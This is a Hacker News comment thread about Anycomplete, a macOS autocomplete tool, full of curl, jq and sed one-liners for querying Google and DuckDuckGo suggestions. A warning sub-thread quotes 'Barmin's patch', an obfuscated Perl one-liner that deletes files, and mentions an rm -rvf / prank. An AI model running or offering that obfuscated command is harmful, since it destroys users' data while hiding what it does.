Show HN: Anycomplete | Hacker News Reader

Show HN: Anycomplete

github.com

390 pointsnathancahill85 comments

This uses the Google Autocomplete API which seems a bit risky to use [0] and according to this Google blog post should be already shut down [1]. Do you have any newer information on how reliable the API is?

[0]: http://stackoverflow.com/questions/6428502/google-search-aut... [1]: https://webmasters.googleblog.com/2015/07/update-on-autocomp...

Nice catch, updated to the new API.

Instructions are also included to use DuckDuckGo.

Wonderful. I decided to put a script together.

  #!/bin/bash
  S="$(echo "$@" | sed -E 's, +,+,g')"
  g(){
   curl -sS "https://suggestqueries.google.com/complete/search?client=firefox&q=$1" \
    | sed -E 's,.*\[([^]]*)\].*,\1,;s,",,g' | tr , '\n'
  }
  d(){
   curl -sS "https://duckduckgo.com/ac/?q=$1" \
    | sed -E 's,"phrase":|[][{}"],,g' | tr , '\n'
  }
  paste -d , <(g $S) <(d $S) | column -t -s ,

If you have your shell ready,

    curl -sS 'https://www.google.com/complete/search?client=hp&hl=en&xhr=t&q=aurora' \
        | json_pp | sed -nE '/<\/?b>/{s```g;s`"|,|^ *``g;p}'

I have learned the hard way never to type stuff like this into a shell because I might not like the results. It looks fine, but never again. ;)

What happened?

This was like 13 years ago, but it in essence rm -rvf / ... but it was a obfuscated one liner that some dick put out there as a joke. Result was having to restore a site and lose a few weeks of posts.

It's generally an easy way to introduce malicious shell scripts into remote machines operated by people who don't know about this.

There's a blog dedicated to shaming sites that do this: https://curlpipesh.tumblr.com/#_=_

But they aren't piping to sh..

Yeah, but if there's a code execution vulnerability in any of the tools in the pipeline it's as good as piping to sh.

Yup! Using curl at all is downright dangerous.

Well, it's all about risk assessment. Curl has had RCE security bugs before[1]. That doesn't mean curl is "downright dangerous" it just means that "it's safe because it doesn't pipe to sh" is also not a correct thing to say.

[1]: http://blog.volema.com/curl-rce.html

Piping to jq and sed is just fine. I'm not sure where sh comes into this...

Unless there's a bug in curl, jq or sed that leads to an RCE, which is what my point was.

Incidentally, cURL just had a major security audit. The dev is doing due diligence to avoid RCE vulnerabilities.

I suppose 'devoply pattern-matched "curl -sS <sth> | <sth else>" to "don't do that". I think that because that's exactly what I did now; it took me a few seconds to realize that - this time - the invocation is mostly harmless.

The infamous Barmin's patch doesn't have any `sh` mentions either:

``` echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' ```

Have you ever downloaded and installed a program through a web browser? Is there a practical difference between that and piping to sh, besides a GUI?

If you install through a GUI or a package manager, it will often check a cryptographic signature to validate that you downloaded the genuine thing, and you weren't man-in-the-middle'd with some malware. Also, it will check that nothing was corrupted in transit.

But generally speaking, you're right. You're taking a risk every time you run executable code from the internet, and if you don't want to live in a paranoid state of fear constantly, you have to balance security and convenience. If you check that it says "https" in the beginning and that you trust the source, then you're probably fine.

Nice!

To run this with macOS, I had to use the GNU version of sed. I installed it with

    $ brew install gnu-sed

And it is then called with 'gsed' instead of 'sed'.

As an avid Perl programmer, I had json_pp in my $PATH - for everyone else - it is here: https://metacpan.org/pod/JSON::PP

You can install it with cpanm:

    $ cpanm JSON::PP

If you don't have cpanm, you can install it with

    $ curl -L https://cpanmin.us | perl - App::cpanminus

The modified command line from above then becomes:

    $ curl -sS 'https://www.google.com/complete/search?client=hp&hl=en&xhr=t&q=aurora' \
        | json_pp | gsed -nE '/<\/?b>/{s```g;s`"|,|^ *``g;p}'

Here is a little Bash function to encapsulate this:

    $ function c() { curl -sS "https://www.google.com/complete/search?client=hp&hl=en&xhr=t&q=$1" | json_pp | gsed -nE '/<\/?b>/{s```g;s`"|,|^ *``g;p}'; }

Which then allows you to use it like this:

    $ c hacker
    hacker news
    hacker typer
    hackerrank
    hackerman
    hackers movie
    hacker fare
    hackerone
    hackers cast
    hacker pschorr

For spaces in your query, use a '+':

    $ c New+York
    new york times
    new york and company
    new york giants
    new york post
    new york daily news
    new york weather

You can use BSD sed by just inserting a semicolon into the sed pattern:

  sed -nE '/<\/?b>/{s```g;s`"|,|^ *``g;p;}'

(Edited to remove previous advice about inserting a newline)

Improved version using jq. This properly URL encodes the query parameter and uses a much simpler sed command. Additionally the API returns UTF-8 encoded data when the user agent is specified. Requires curl >= 7.18.0.

    function c() {
        url='https://www.google.com/complete/search?client=hp&hl=en&xhr=t'
        # NB: user-agent must be specified to get back UTF-8 data!
        curl -H 'user-agent: Mozilla/5.0' -sSG --data-urlencode "q=$*" "$url" |
            jq -r .[1][][0] |
            sed 's,</\?b>,,g'
    }

Example:

    $ c ':)' ':('
    ) ( meaning
    ) ( emoticon
    ) ( ͡° ͜ʖ ͡°)
    ) ( emoticon meaning

Would think jq[0] is more suitable if you're going to install a cli json parser.

[0]: https://stedolan.github.io/jq/

Here is the command with jq instead of json_pp

    $ curl -sS 'https://www.google.com/complete/search?client=hp&hl=en&xhr=t&q=aurora' | jq . | gsed -nE '/<\/?b>/{s```g;s`"|,|^ *``g;p}'

(see my other comment about gsed vs sed)

Here's the above modified to work with BSD sed:

  curl -sS 'https://www.google.com/complete/search?client=hp&hl=en&xhr=t&q=aurora' | jq . | sed -nE '/<\/?b>/{s```g;s`"|,|^ *``g;p;}'

(Edited to remove previous advice about inserting a newline)

You don't need sed, you can do it all in jq:

    curl -sS 'https://www.google.com/complete/search?client=hp&hl=en&xhr=t&q=aurora' | jq -r '.[1] | .[][0] | sub("</?b>"; ""; "gi")'

Had this idea a while back: I really enjoyed auto complete in my IDE and configurable expansions and I wanted that everywhere. I threw together an app to run in the background to keep track of the last word I typed and manage suggestions when I hit a hotkey. Read from a local dictionary, used basic usage frequency and levenshtein distance to recommend, pretty straightforward hacked together in an afternoon project. I could see Anycomplete using a more local suggestion list instead of relying on Google.

Ideally it showed a drop down under where you're typing much like most IDEs would, but support was shotty at best. I really wish there were more OS level hooks for this sort of thing, or a more standardized way to understand what the user is typing and where, but that's not something I ever expect to happen. My app was basically a keylogger while the one in the post is more like a separate entity altogether.

I just tried Hammerspoon for the first time this week and it's really, really powerful. Currently working on an automation suite for a bunch of tedious "micro-workflows" that I deal with on a daily basis.

For windows users, I recommend AutoHotkey

Are there decent Linux alternatives?

The closest one is probably https://github.com/autokey/autokey

If I may plug my own free project, https://github.com/boppreh/keyboard may achieve what you want. Also note it has mouse support now; it's hidden, but exists.

Isn't Autohotkey just echoing a text or running a script for an associated key combination? KDE has that built in (I think they call it khotkeys?). I'd be surprised if other DEs don't have similar?

IIRC Autohotkey makes an application from your hotkey choice that you then run (eg via autostart or using an icon) to instate the hotkey afresh every reboot.

To this end it seemed inferior to the KDE equivalent for me, but that could just be familiarity bias.

> Isn't Autohotkey just echoing a text or running a script for an associated key combination?

Not just that, no. Its programming language is godawful, but the tight integration with the Windows API makes it powerful in a way that shell scripts and the like cannot easily match.

Really enjoying seeing a lot of new projects based on Hammerspoon. And very glad for the people who created it, because maintaining the precursor was a daunting job and took too much of my time and gave me too much stress.

Thanks for starting Mjolnir though!

Is there a place to find inspiration or other examples of Hammerspoon extensions? Just installed and wrote a few simple scripts, but having a hard time coming up with anything groundbreaking that I'd want to build.

Check out the Hammerspoon Wiki on Github

I'm currently automating any workflow that I use daily:

- We have a team call and a team agenda doc, I'm using a hotkey to open a chooser, which has an option "goto team call" that fires up the call window and the doc.

- We deal with prod/dev so I made another item in the chooser "log in to dev server" which opens a chrome incognito window, presses the one password unlock shortcut and then I'm just waiting there to input 2 factor.

As I uncover more of these, I'll be coding them up and using the master chooser to deal with any annoying workflows. :)

Have you tried Keyboard Maestro?

And by "Anywhere", you mean, on macOs

I'd love to see this as a Keypirinha [1] plugin.

[1] http://keypirinha.com/

Or Wox http://www.getwox.com/

Anywhere within a targeted OS is not a valid description? It clearly shows that it is macOS.

It doesn't work with my Bic biro. Two stars.

Universal autocomplete based on a local index of words? That would be great!

Universal autocomplete via google api? Hmm, something to think about.

1) Keyloggers

2) Filter bubbles

3) Offline tax

Is there any similar tool for linux?

That's pretty cool, but I'm fairly certain that sooner or later I would end up googling my password.

What's the matter? Passwords are intended to be disposable, here, have one: xAKi2It6XJK7QJR1ROXFK7xmjV6kn6DNÑJU7Pu9hA7OS

User's password was removed from this post. Please don't post your HN passwords in comments.

Please don't do that because it invites users to try it out and while you probably don't try to be malicious, I know that it is a pretty common scam in MMORPGs. People say in chat: awesome, if I type my password it becomes: [hidden] and hopes other users try that. As soon as something looks like their password, they have scripts ready to immediately change the users password.

Although your advice about "not writing your password here" is well-intentioned, the reality is that most passwords are already available in private blackhat databases.

Memorizing and reusing a single password is the worst thing you can do. The number of leaks and brute-force attacks are increasing, and you should really be generating random and unique passwords per website if you aren't.

To get an idea of how easy it is to crack a leaked password, download a public list of a website you know[1] (ex. L1nk3d1n), you'll probably find the password you used at the time of their leak in the list, since ~97% of them have already been cracked.

[1] https://hashes.org/public.php

This has nothing to do with the submission, and only has the most tenuous connection to the parent comment.

Obligatory: http://bash.org/?244321

Now also popular as a Facebook prank :).

Related, reminds me of the havoc you could wreck on phpBB boards with [you] command enabled. For those who haven't seen it, a [you] BBcode is replaced on display with viewing user's name.

So you'd generally write a reasonably sounding comment, with a sentence like "This is something [you] was supposed to do.", you'd post it and then it was time to eat popcorn.

This is great, thanks for sharing. I've opened a pull request (#5) with a tweak I made here - hold shift whilst choosing an option to actually show the google results instead of pasting. Hammerspoon looks fantastic, can't wait to automate even more!

I built something like this many moons ago for browser history. A service would run on your machine to aggregate your browser history. Typing "http://" anywhere on your machine would pop up a dialog with your history of most recently visited sites. I wonder if browsers have gotten better with APIs for web history and if it's any easier in windows. System-wide keystrokes had to be checked with win32 calls which could set off antivirus alarms. Keep up the good work. Maybe this will inspire me to see if things have gotten better.

This is pretty cool, but it would really impress me if it could autocomplete facts based on contexts. I wish I could open a text editor and begin writing while Anycomplete(-plus) crawled the web for links to factual data based on the writing so far. Otherwise the context switching is time-consuming and discouraging.

That seems both really cool and absolutely terrifying. Automatically find references when writing a tutorial? Hell yes! Automatically find references to support an argument you've decided to make? Hmm... maybe not a win for journalism.

[edit] Actually, I guess the way you described it, it could go the other way. You start writing some argument, and google shows you some stats that show you're wrong, or something. That would be neat.

People will find the sources to support their argument regardless.

What are the privacy implications of this? Is there a duck duck go version?

You press the hot key, and a Google search is run.[0] So nothing too frightening. DDG compatibility should be easy. Just swap the endpoint (https://duckduckgo.com/ac/?callback=autocompleteCallback&q=Y...) and parse the JSON.

[0]: https://github.com/nathancahill/anycomplete/blob/master/anyc...

Thanks. Updated the Readme with that information: https://github.com/nathancahill/anycomplete/blob/master/READ...

Spotlight already does this. Type in 'aurora borealis' and it'll pull a wiki blurb (or maybe definition).

DEVONsphere does something close to that. It does a simple keyword analysis and searches local/web. But what you are describing is more of a personal research assistant that's way beyond what today's system can do.

Google actually already does this, based on what you just searched for.

Search for "swing", then in the search box, delete that and type in "play". It'll auto-complete with something like "playground swing".

Now in a new tab, search for "music". Then delete that and search for "play". You'll get different results.

(doesn't work with the browser search box, has to be the one in the page itself)

Interesting. Not working with Firefox on Android, but I'm curious to check this when I'm next on a desktop.

Great idea! I use Google so often for "anycomplete". Created similar extension for Alfred https://github.com/outcoldman/alfred-anycomplete

Nicely done. It will be interesting to see if this impacts your robot score when using Google. There was a blow up a while ago where people used the completion API to fish for trending searches and front run the Google News API and get stories onto the news page.

This is very useful for people like me who google words to check the correct spelling. Any plans on adding support for definitions / explanations of words? Something like the result of "define aurora" google query.

DIY in PHP http://php.net/manual/en/function.pspell-suggest.php

Interesting, didn't know Hammerspoon had this "chooser" functionality. I guess with enough Lua you could replace Alfred!

nope, I am not sending my keystrokes anywhere

How does one get the output into an application? Do I have to use clipboard? Clicking command 1 simply closes the app

Please open an issue on Github with the content of your Hammerspoon log (Hammer menu > Console...).

Followed the installation steps, but it doesn't seem to work for me.

Can you open an issue with the content of the Hammerspoon log (Hammer menu > Console...)

sure thing!

Would love to have that inside something like drun or rofi.

This sounds grad from the ux perspective! Thanks!

> (macOS)

FTFY

Doesn't quite have the same markety ring to it.

Reply on news.ycombinator.com